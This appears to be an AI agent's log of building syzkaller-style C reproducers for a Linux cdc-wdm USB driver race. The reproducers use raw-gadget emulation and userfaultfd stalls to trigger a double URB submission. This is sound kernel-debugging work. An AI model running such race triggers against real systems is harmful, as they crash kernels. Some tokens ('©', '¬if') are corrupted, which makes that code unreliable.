In this scenario, if `ep1_thread` were to then send a STALL on EP1 IN, `wdm_int_callback` would receive it. This callback then schedules `wdm_rxwork`. The key insight here is that `wdm_rxwork` *then* submits `desc->response`. And because `desc->response` was inactive (as `service_outstanding_interrupt` never ran), this `usb_submit_urb` call *succeeds* without triggering the expected `WARN_ON`.
Following this, the host would send a `GET_ENCAPSULATED_RESPONSE`. The gadget thread, upon receiving this, would find `resp_count == 1` and, as per its logic, do nothing. This leaves `desc->response` in an *active* state.
The sequence continues when `ep1_thread` eventually resolves the userfaultfd. This allows the `read()` call to finish its `copy_to_user` operation and proceed to call `service_outstanding_interrupt`. Now, `service_outstanding_interrupt` attempts to submit `desc->response` *again*. However, `desc->response` is *already active* (submitted by `wdm_rxwork`), and this is precisely what triggers the `WARN_ON` – the bug manifests! This entire sequence aligns perfectly with what I'm observing.
But then, the question arises: if this is the exact sequence, why did the operation time out?
Perhaps `ep1_thread` is sending the STALL *before* the `read()` call actually blocks. However, my analysis of the code shows that `ep1_thread` explicitly waits for `read_blocked` before proceeding, and `read_blocked` is set by `uffd_thread` when the page fault occurs. This strongly suggests that `read()` *must* be blocked.
Let's consider another possibility: what if `wdm_rxwork` successfully submits `desc->response`, but the host *never* sends the `GET_ENCAPSULATED_RESPONSE`? If the host doesn't respond, `desc->response` remains active. Then, when `service_outstanding_interrupt` tries to submit it again, it triggers the bug. This scenario appears to be exactly what we're aiming for. The crucial realization is that we *don't* necessarily need the gadget thread to receive that second `GET_ENCAPSULATED_RESPONSE`. We simply need `wdm_rxwork` to submit it, and then `service_outstanding_interrupt` to attempt a duplicate submission.
However, if `wdm_rxwork` submits `desc->response`, it's almost certain the host *will* send `GET_ENCAPSULATED_RESPONSE`. If the gadget thread does nothing in response, the host's URB will hang. And remember, `desc->response` *is* that host's URB. When `cdc-wdm` submits it to the USB core, the USB core queues it to the host controller. The host controller then sends the SETUP packet to the device. If the device doesn't respond with IN data, the host controller waits, and the URB remains active. It's this active state that `service_outstanding_interrupt` then attempts to overwrite, leading to the `WARN_ON`.
So, the sequence appears to be perfect. The lingering question is still the timeout.
Ah, I see a potential issue now, looking at the interaction between `read_blocked` and `resolve_uffd`. While I'm allowing `wdm_rxwork` to start and submit the URB with a `usleep(100000)`, the subsequent `resolve_uffd` operation is where the problem might lie.
The `uffd_thread` performs the following:
1. Waits for `read_blocked`.
2. Calls `event_set(&resolve_uffd)`.
3. Crucially, it executes `ioctl(uffd, UFFDIO_COPY, ©)`.
Now, I notice that `copy.copy` is initialized to `0`. While `UFFDIO_COPY` with `copy.mode = 0` is valid, it's possible that `UFFDIO_COPY` itself fails in this context. If it fails, the `read()` operation might return `-EFAULT`. The question then becomes: if `read()` returns `-EFAULT`, does it still proceed to call `service_outstanding_interrupt`? This is something I need to verify by examining the `wdm_read` function itself.
|
| 351/5 |
2026/09/11 23:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_read]
Results: map[SourceCode: 524: static ssize_t wdm_read
525: (struct file *file, char __user *buffer, size_t count, loff_t *ppos)
526: {
527: int rv, cntr;
528: int i = 0;
529: struct wdm_device *desc = file->private_data;
530:
531:
532: rv = mutex_lock_interruptible(&desc->rlock); /*concurrent reads */
533: if (rv < 0)
534: return -ERESTARTSYS;
535:
536: cntr = READ_ONCE(desc->length);
537: smp_rmb(); /* against wdm_in_callback() */
538: if (cntr == 0) {
539: desc->read = 0;
540: retry:
541: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
542: rv = -ENODEV;
543: goto err;
544: }
545: if (test_bit(WDM_OVERFLOW, &desc->flags)) {
546: clear_bit(WDM_OVERFLOW, &desc->flags);
547: rv = -ENOBUFS;
548: goto err;
549: }
550: i++;
551: if (file->f_flags & O_NONBLOCK) {
552: if (!test_bit(WDM_READ, &desc->flags)) {
553: rv = -EAGAIN;
554: goto err;
555: }
556: rv = 0;
557: } else {
558: rv = wait_event_interruptible(desc->wait,
559: test_bit(WDM_READ, &desc->flags));
560: }
561:
562: /* may have happened while we slept */
563: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
564: rv = -ENODEV;
565: goto err;
566: }
567: if (test_bit(WDM_RESETTING, &desc->flags)) {
568: rv = -EIO;
569: goto err;
570: }
571: usb_mark_last_busy(interface_to_usbdev(desc->intf));
572: if (rv < 0) {
573: rv = -ERESTARTSYS;
574: goto err;
575: }
576:
577: spin_lock_irq(&desc->iuspin);
578:
579: if (desc->rerr) { /* read completed, error happened */
580: rv = usb_translate_errors(desc->rerr);
581: desc->rerr = 0;
582: spin_unlock_irq(&desc->iuspin);
583: goto err;
584: }
585: /*
586: * recheck whether we've lost the race
587: * against the completion handler
588: */
589: if (!test_bit(WDM_READ, &desc->flags)) { /* lost race */
590: spin_unlock_irq(&desc->iuspin);
591: goto retry;
592: }
593:
594: cntr = desc->length;
595: spin_unlock_irq(&desc->iuspin);
596: }
597:
598: if (cntr > count)
599: cntr = count;
600: rv = copy_to_user(buffer, desc->ubuf, cntr);
601: if (rv > 0) {
602: rv = -EFAULT;
603: goto err;
604: }
605:
606: spin_lock_irq(&desc->iuspin);
607:
608: for (i = 0; i < desc->length - cntr; i++)
609: desc->ubuf[i] = desc->ubuf[i + cntr];
610:
611: desc->length -= cntr;
612: /* in case we had outstanding data */
613: if (!desc->length) {
614: clear_bit(WDM_READ, &desc->flags);
615: service_outstanding_interrupt(desc);
616: }
617: spin_unlock_irq(&desc->iuspin);
618: rv = cntr;
619:
620: err:
621: mutex_unlock(&desc->rlock);
622: return rv;
623: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 352/5 |
2026/09/11 23:26 |
llm |
strategy-refiner |
1m
Model:
Tokens:
input: 69115
output: 4080
thoughts: 2937
Thoughts: **The Root Cause of the Hang: A Subtle Interaction with Userfaultfd and Unaligned Memory**
I've been deeply analyzing this bug, and I think I've finally pinned down the exact sequence of events leading to the observed hang and timeout. It all boils down to a critical interaction between `copy_to_user` and the userfaultfd mechanism, specifically when the `UFFDIO_COPY` operation encounters an issue due to an unaligned source buffer.
Here's how I see it unfolding:
1. **The Initial Failure:** The core problem stems from the `UFFDIO_COPY` operation. My reproducer, in its buggy state, was attempting to copy data from a local `char page[4096]` buffer. The crucial detail I initially overlooked is that local stack variables are *not* guaranteed to be page-aligned.
2. **`UFFDIO_COPY` Requirements:** The `man ioctl_userfaultfd` page clearly states that the `src` field for `UFFDIO_COPY` *must* be a multiple of the system page size – it must be page-aligned. When my unaligned `page` buffer was used as `copy.src`, `UFFDIO_COPY` failed.
3. **Error Propagation:** When `UFFDIO_COPY` fails (returning an error, like `EINVAL` for an unaligned source), the control flow within the `uffd_thread` proceeds to the `err` label. This is where things go seriously wrong.
4. **The Missed Call:** Crucially, if the code jumps to `err` after `UFFDIO_COPY` fails, the `service_outstanding_interrupt` function is *never* called. This function is vital for clearing certain states and eventually allowing the `read()` operation to complete.
5. **The Infinite Hang:** Because `service_outstanding_interrupt` isn't called, the `copy_to_user` call that initiated the page fault remains blocked indefinitely. It's waiting for the page fault to be resolved by `UFFDIO_COPY`, but that resolution never happens due to the initial failure. Consequently, the `read()` call on the `/dev/cdc-wdm0` device never returns.
6. **The Timeout:** This eternal blocking of `read()` means that the main thread, which is waiting for this `read()` to complete, also hangs. The reproducer's timeout mechanism eventually kicks in after a fixed period (around 2 minutes 30 seconds), giving the appearance of a test failure, but the underlying issue is a deadlock scenario.
7. **Why the Reproducer Timed Out (and Didn't Crash):** The fact that the reproducer times out rather than triggering an obvious kernel crash (like the `WARN_ON` I was expecting) is because the `UFFDIO_COPY` failure prevents the *rest* of the bug-inducing sequence from ever being reached. The `WARN_ON` relies on `service_outstanding_interrupt` being called after the page fault is resolved, which is precisely what doesn't happen when `UFFDIO_COPY` fails due to the unaligned buffer.
**The Solution:**
The fix is straightforward: I need to ensure that the `src` buffer used in `UFFDIO_COPY` is page-aligned. Instead of using a local stack array, I will use `mmap` to allocate the buffer. This guarantees page alignment, ensuring that `UFFDIO_COPY` succeeds, the page fault is resolved, `copy_to_user` completes, and `service_outstanding_interrupt` is finally called. This, in turn, should allow the rest of the original bug sequence to play out, leading to the expected `WARN_ON`.
I've also re-examined the `event.length` initialization for `USB_RAW_IOCTL_EVENT_FETCH`. While it was correctly initialized to `sizeof(event.data)` in my previous code, and the kernel does not modify it in user space, I'll ensure it remains explicitly set, just for absolute clarity and to rule out any residual concerns from the feedback.
In essence, the unaligned buffer was the silent killer, preventing the intended path to the actual `WARN_ON` condition and instead leading to a long-running, unresolvable hang.
|
| 353/3 |
2026/09/11 23:28 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the timeout reveals that the reproducer got stuck because the `UFFDIO_COPY` ioctl in the `uffd_thread` failed. The `src` buffer provided to `UFFDIO_COPY` must be page-aligned, but it was allocated on the stack (`char page[4096];`), which does not guarantee page alignment. When `UFFDIO_COPY` fails, the page fault is never resolved, causing `copy_to_user()` in `wdm_read()` to hang indefinitely. Consequently, `service_outstanding_interrupt()` is never called, and the bug is not triggered.
To fix this, we must allocate the `src` buffer using `mmap()` to ensure it is page-aligned.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```]
|
| 354/3 |
2026/09/11 23:28 |
agent |
repro-generator |
12m
Model:
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
